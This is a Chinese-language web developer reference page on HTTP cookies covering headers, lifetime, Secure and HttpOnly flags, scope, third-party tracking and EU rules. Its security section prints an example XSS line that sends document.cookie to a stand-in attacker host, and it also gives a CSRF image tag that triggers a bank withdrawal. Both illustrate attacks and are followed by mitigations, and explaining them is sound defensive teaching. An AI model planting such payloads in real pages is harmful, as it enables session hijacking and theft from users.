HTTP cookies

HTTP Cookie(也叫Web cookie或者浏览器Cookie)是服务器发送到用户浏览器并保存在浏览器上的一块数据,它会在浏览器下一次发起请求时被携带并发送到服务器上。比较经典的,可以它用来确定两次请求是否来自于同一个浏览器,从而能够确认和保持用户的登录状态。Cookie的使用使得基于无状态的HTTP协议上记录稳定的状态信息成为了可能。

Cookie主要用在以下三个方面:

  • 会话状态管理(如用户登录状态、购物车)
  • 个性化设置(如用户自定义设置)
  • 浏览器行为跟踪(如跟踪分析用户行为)

Cookie可用于客户端数据的存储,在没有其它存储办法时,使用这种方式是可行的,但随着现在浏览器开始支持各种各样的存储方式而逐渐被废弃。由于服务器指定Cookie以后浏览器的每次请求都会携带Cookie数据,这会带来额外的性能负担(尤其是在移动环境下)。新的浏览器API已经允许开发者直接在本地存储数据,如可以使用Web storage API (本地存储和会话存储)和IndexedDB

要查看Cookie存储(以及网页上能够使用其他的存储方式),你可以在开发者工具里面启用存储查看Storage Inspector )功能,并在存储树上选中Cookie

创建Cookie

当服务器收到HTTP请求时,可以在响应头里面增加一个Set-Cookie头部。浏览器收到响应之后会取出Cookie信息并保存,之后对该服务器每一次请求中都通过Cookie请求头部将Cookie信息发送给服务器。另外,Cookie的过期时间、域、路径、有效期、站点都可以根据需要来指定。

Set-Cookie响应头部和Cookie请求头部

服务器使用Set-Cookie响应头部向用户代理(一般指浏览器)发送Cookie信息。一个简单的Cookie可能像这样:

Set-Cookie: <cookie名称>=<cookie值>

服务器告诉客户端要保存Cookie信息(服务端程序可以是PHPNode.jsPython或者Ruby on Rails等语言写的), 响应的数据里面应该包含Set-Cookie头,浏览器收到之后会将Cookie保存。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[页面内容]

现在,对该服务器发起的每一次新的请求,浏览器都会将之前保存的Cookie信息通过Cookie请求头发送给服务器。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

会话期Cookie

会话期Cookie是最简单的Cookie:浏览器关闭之后它会被自动删除,也就是它仅在会话期间有效。会话期Cookie不需要指定过期时间(Expires)或者有效期(Max-Age)。需注意的是,有些浏览器提供了会话恢复的功能,这种情况下即便关闭了浏览器会话期Cookie也会被保存,就好像浏览器从来没有关闭一样。

持久Cookie

和关闭浏览器便失效不同,持久Cookie可以指定一个特定的过期时间(Expires)或者有效期(Max-Age)。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

安全和HttpOnly类型Cookie

只有在使用SLL和HTTPS协议向服务器发起请求时,才能确保Cookie被安全地发送到服务器。HttpOnly标志并没有给你提供额外的加密或者安全性上的能力,当整个机器暴露在不安全的环境时,切记绝不能通过HTTP Cookie存储、传输机密或者敏感信息。

HTTP-only类型的Cookie不能使用Javascript通过Document.cookie属性来访问,从而能够在一定程度上阻止跨域脚本攻击(XSS)。当你不需要在JavaScript代码中访问你的Cookie时,可以将该Cookie设置成HttpOnly类型。特别的,当你的Cookie仅仅是用于定义会话的情况下,最好给它设置一下HttpOnly标

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Cookie的作用域

Domain和Path指令定义了Cookie的作用域,即需要发送Cookie的URL集合。

Domain指令规定了需要发送Cookie的主机名。如果没有指定,默认为当前的文档地址上的主机名(但是不包含子域名)。如果指定了Domain,则一般包含子域名。

如果设置了Domain=mozilla.org,则Cookie包含在子域名中(如developer.mozilla.org)。

Path指令表明需要发送Cookie的URL路径。字符%x2F (即"/")用做文件夹分隔符,子文件夹也会被匹配到。

如设置Path=/docs,则下面这些地址都将匹配到:

  • "/docs",
  • "/docs/Web/",
  • "/docs/Web/HTTP"

同站Cookie 

同站Cookie允许服务器指定在跨站请求时Cookie是否会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。但目前同站Cookie还处于实验阶段,并没有被所有的浏览器所支持。

JavaScript通过Document.cookies访问Cookie

通过Document.cookie属性可以来创建新的Cookie,也能够通过该属性来访问未被指定HttpOnly标志的Cookie。

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

请留意在安全节提到的安全隐患问题,JavaScript可以通过跨站脚本攻击(XSS)的方式来窃取Cookie。

安全

当整个机器暴露在不安全的环境时,切记绝不能通过HTTP Cookie存储、者传输机密或者敏感信息。

会话劫持和XSS

在Web应用中,Cookie常常用来标记用户和会话授权。因此,如果窃取了Web应用的Cookie,可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学进行攻击和利用应用程序的漏洞进行XSS攻击。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly类型的Cookie由于阻止了JavaScript对Cookie进行访问而能在一定程度上缓解此类攻击。

跨站请求伪造(CSRF)

维基百科已经给了一个比较好的CSRF例子。在这个情况下,有一张并不真实存在的图片(可能是在不安全聊天室或论坛),它实际上是向你的银行服务器发送了提现请求:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

当你打开含有了这张图片的HTML页面是,如果你已经登录了你的银行帐号并且还有效(而且没有其它验证步骤),你的银行里的钱可能会被自动转走。这里有一些方法可以阻止该类事情的发生:

  • 对用户输入进行过滤来阻止XSS
  • 任何敏感的操作都应该被确认;
  • 用于敏感信息的Cookie只能拥有较短的生命周期;
  • 更多的方法可以看OWASP CSRF prevention cheat sheet

追踪和隐私

第三方Cookie

每个Cookie都有与之关联的域(Domain),如果Cookie的域和页面的域是一样的,那么我们称这个Cookie为第一方Cookiefirst-party cookie),如果Cookie的域和页面的域不一样,则称之为第三方Cookiethird-party cookie.)。一个页面包含图片或存放在其他域上的资源(如广告横幅)时,第一方的Cookie也只会发送给设置它们的服务器。通过第三方组件发送的第三方Cookie主要用于广告和通过网络进行追踪。这方面可以看谷歌使用的Cookie类型(types of cookies used by Google)。大多数浏览器默认情况下都允许第三方Cookie,但是可以通过附加组件来阻止第三方Cookie(如,EFFPrivacy Badger)。

如果你没有公开你网站上第三方Cookie的使用情况,当它们被发觉时用户对你的信任程度可能受到影响。一个较清晰的声明(比如在隐私策略里面提及)能够减少或消除这些负面影响。在某些国家已经开始对Cookie制订了相应的法规,可以看维基百科上例子cookie statement

禁止追踪Do-Not-Track

虽然并没有法律或者技术手段强制要求使用DNT,但是通过DNT可以告诉Web程序禁止对用户的行为进行追踪或者跨站追踪。查看DNT以获取更多信息。

欧盟Cookie指令

关于Cookie,欧盟已经在2009/136/EC指令中提了相关要求,该指令已于2011年5月25日生效。虽然指令并不属于法律,但它要求欧盟各成员国通过制定相关的法律来满足该指令所提的要求。当然,各国实际制定法律会有所差别。

欧盟指令的大意就是:在征得用户的同意之前,不允许通过计算机、手机或者其他设备存储、检索任何信息。自从那以后,很多网站都在网站横幅里增加了相关说明,告诉用户他们的Cookie将用于何处。

可以通过维基百科的相关内容获取最新的各国法律和较为准确的信息。

僵尸Cookie和删不掉的Cookie

Cookie的一个极端使用例子是僵尸Cookie(或称之为“删不掉的Cookie”),这类Cookie较难以删除,甚至删除之后会自动重建。它们一般是使使用Web storage API、Flash本地共享对象或者其他技术手段来达到目的的。相关内容可以看:

了解更多

文档标签和贡献者